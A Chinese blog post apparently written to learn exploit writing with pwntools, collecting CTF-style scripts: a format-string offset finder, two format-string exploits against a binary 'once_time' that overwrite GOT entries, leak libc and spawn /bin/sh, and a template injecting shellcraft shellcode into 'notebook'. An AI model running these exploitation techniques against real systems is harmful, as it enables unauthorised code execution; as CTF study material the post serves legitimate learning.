美文网首页
pwn-exp学习

pwn-exp学习

作者: jessica1123 | 来源:发表于2019-01-01 19:17 被阅读15次

    平时有很多pwn的exp编写脚本,通过看这些脚本,可以学习怎么快速编写exp,同时可以熟悉pwntools的使用。

    格式化字符串漏洞n 检测脚本

    #coding:utf-8
    from pwn import *
    
    test_str = '88888888'
    '''
    这个代码适用于linux64位格式化字符串漏洞。
    这个代码主要是为了找到输入点所在的栈区的下一个8字节区所对应的n。
    即 aaa%n$lx88888888中'88888888'对应的n值。
    运行之后 grep '#####'。
    当能用%p的时候用这个
    fmt = '%{n}$lp'.format(n = str(i))  
    p.recvuntil('0x',timeout=0.1)
    注:发送payload和接收payload的时机要根据实际情况调整。
    '''
    '''
    实例的输出:
    
    root@HSH1000070537:~/pwn# ./fake-cgi 
    Who r u?
    aaa
    welcome!aaa111
    111
    HTTP/1.1 404 Not Found
    Content-Type: text/html; charset=UTF-8
    Content-Length: 23
    Server: EasyServer (Linux)
    '''
    def test_n(i):
            print('no.%d try!' %i)
            p = process('./fake-cgi')
            fmt = '%{n}$lp'.format(n = str(i))              # %p能用,否则换成 fmt = '%{n}$lx'.format(n = str(i))
            payload = 'a'*(8-len(fmt)) +fmt + test_str
            p.sendlineafter('u?',payload)                   #根据情况调整
            #根据情况调整中间的逻辑
            p.recvuntil('0x',timeout=0.1)                   # %p ,否则换成 p.recvuntil('a'*(8-len(fmt)),timeout=0.1)
            get_str = p.recv(16)
            if get_str.endswith('383838383838'):
                    success('##### the n = '+str(i)+', recv: '+get_str+" #####")
                    #p.sendline('111')
                    p.kill()
                    return True
            #p.sendline('111')
            p.kill()
            return False
            #print(i,hex(addr))
    
    
    def get_n(r1 = 7,r2 = 15):
            for i in range(r1,r2+1):
                    try:
                            if test_n(i):
                                    return "[+]find it! n = %s" %i
                    except Exception as e:
                            return '[-]somethig error!'
                    
    get_n()
    
    

    格式化漏洞exp实例

    #coding:utf-8
    from pwn import *
    import sys,time
    #context.log_level = "debug"
    
    def get_flag():
    
        p = process('./once_time')
        p.recvuntil('input your name: ')
        p.sendline('D')
        p.recvline()
        p.recvuntil('leave a msg: ')
        #到达buff的偏移是6,buff大小是24
        stack_chk_fail_got = 0x601020 #0x00000000004006c6
        vun_addr = 0x4008c5
        read_got = 0x601040
    
        fmt = '%2245c%8$hn' + '%9$s' + '\n'
        fmt += (16 - len(fmt))*'A'
        fmt += p64(stack_chk_fail_got) + p64(read_got)
        p.send(fmt)
    
        data = p.recvline()
        data = data[len(data)-7:-1]
        read_addr = u64(data + '\x00\x00')
        read_offset = 0xf7220
        puts_got = 0x601018
        system_offset = 0x45390
        libcbase = read_addr - read_offset
        print 'libcbase = %x'%libcbase
        system_addr = libcbase + system_offset
        sh = libcbase + 0x18cd17
    
        #0x00400a83: pop rdi ; ret
        pop_rdi = 0x00400a83
        #0x00400a80: pop r14 ; pop r15 ; ret
        ppr = 0x00400a80
    
        #second fmt
        #改写puts_got为ppr,由于puts_got并没有被dl_rev填充还是plt+6只需要修改后2字节为a80
        fmt = '%' + str(0xa80) + 'c'
        fmt += '%8$hn'
        fmt += (16-len(fmt))*'A'
        fmt += p64(puts_got)
        fmt += (32-len(fmt))*'A'
        p.send(fmt)
    
        #third fmt
        fmt = '%'+'p'*7
        fmt += p64(pop_rdi)
        fmt += p64(sh)
        fmt += p64(system_addr)
        p.send(fmt)
        p.clean()
        p.interactive()
    
    ####### 重点学习 ########################
    def write(addr,value):
        offset_list = [0,16,32]
        for index,offset in enumerate([0,16,32]):
            wait_to_write = (value >> offset) & 0xffff
            payload = ('%' + str(wait_to_write) + 'c%8$hn').ljust(16,' ') + p64(addr + index*2) + p64(0xaabbccdd)
            io.send(payload)
            time.sleep(0.2)
            io.clean()
    
    ##### 重点学习 ####
    io = process("./once_time")
    elf = io.elf
    libc = elf.libc
    #### ##### ####################
    
    io.recvuntil("name: ")
    io.send("icsltest")
    io.recvuntil("msg: ")
    
    # raw_input()
    # io.send('AAAA%6$x') # AAAA41414141
    # print io.clean()
    
    vuln_fuc_addr = 0x4008c5
    call_setvbuf = 0x400856
    stack_chk_got = 0x601020 # objdump -dj.plt ./once_time | grep -A 5 stack_chk
    setvbuf_got = 0x601058
    stdin_addr = 0x601088
    
    # change the got value of *0x601020==0x4006c6 to vuln func addr 0x4008c5
    # so only last two byte 0x8c5==2245 to write
    # leak setvbuf addr and got libc base
    payload = ("%2245c%8$hn" + "%9$s").ljust(16, " ") + p64(stack_chk_got) + p64(setvbuf_got)
    io.send(payload)
    data = io.recvuntil("msg: ")
    setvbuf_addr = u64(data.strip()[1:1+6].ljust(8,'\x00'))
    libc_base = setvbuf_addr - libc.sym['setvbuf'] # objdump -T /lib/x86_64-linux-gnu/libc-2.23.so | grep setvbuf
    system_addr = libc_base + libc.sym['system']
    binsh_addr = libc_base + list(libc.search("/bin/sh"))[0] # strings -a -t x /lib/x86_64-linux-gnu/libc-2.23.so | grep /bin/sh
    
    log.info('libc base    : ' + hex(libc_base))
    log.info('system addr  : ' + hex(system_addr))
    log.info('/bin/sh addr : ' + hex(binsh_addr))
    
    # change .bss stdin to /bin/sh addr
    # change got of setvbuf to system addr
    write(stdin_addr,binsh_addr)
    write(setvbuf_got,system_addr)
    
    # change the got value of *0x601020==0x4006c6 to vuln func addr 0x400856
    # so only last two byte 0x856==2134 to write
    payload = '%2134c%8$hn'.ljust(16, " ") + p64(stack_chk_got) + p64(0xaabbccdd)
    io.send(payload)
    io.clean()
    log.info('getshell...')
    io.interactive()
    

    好的exp格式,方便调试

    from pwn import *
    
    context.log_level = 'debug'
    context.terminal = ['tmux', 'split', '-h']
    context.arch = 'i386'
    context.endian = 'little'
    
    p = process('./notebook')
    p = process('', env={'LD_PRELOAD': ''})
    gdb.attach(p)
    
    s = lambda a: p.send(str(a))
    sa = lambda a, b: p.sendafter(str(a), str(b))
    st = lambda a, b: p.sendthen(str(a), str(b))
    sl = lambda a: p.sendline(str(a))
    sla = lambda a, b: p.sendlineafter(str(a), str(b))
    slt = lambda a, b: p.sendlinethen(str(a), str(b))
    r = lambda a=4096: p.recv(a)
    rl = lambda: p.recvline()
    ru = lambda a: p.recvuntil(str(a))
    irt = lambda: p.interactive()
    
    def choice(idx):
        def wrap(f):
            def go(*args,**kargs):
                sla("> ", idx)
                f(*args,**kargs)
            return go
        return wrap
    
    @choice(1)
    def show():
        pass
    
    @choice(2)
    def add(length, data):
        sla('of URL: ', length)
        sla('URL: ', data)
    
    @choice(5)
    def export(email):
        sla('Your Email:', email)
    
    email_bss = 0x804BC80
    export(asm(shellcraft.linux.sh()))
    add(400, 'http://%\x00' + cyclic(277) + p32(email_bss))
    show()
    
    irt()
    
    

    相关文章

      网友评论

          本文标题:pwn-exp学习

          本文链接:https://www.haomeiwen.com/subject/rsfolqtx.html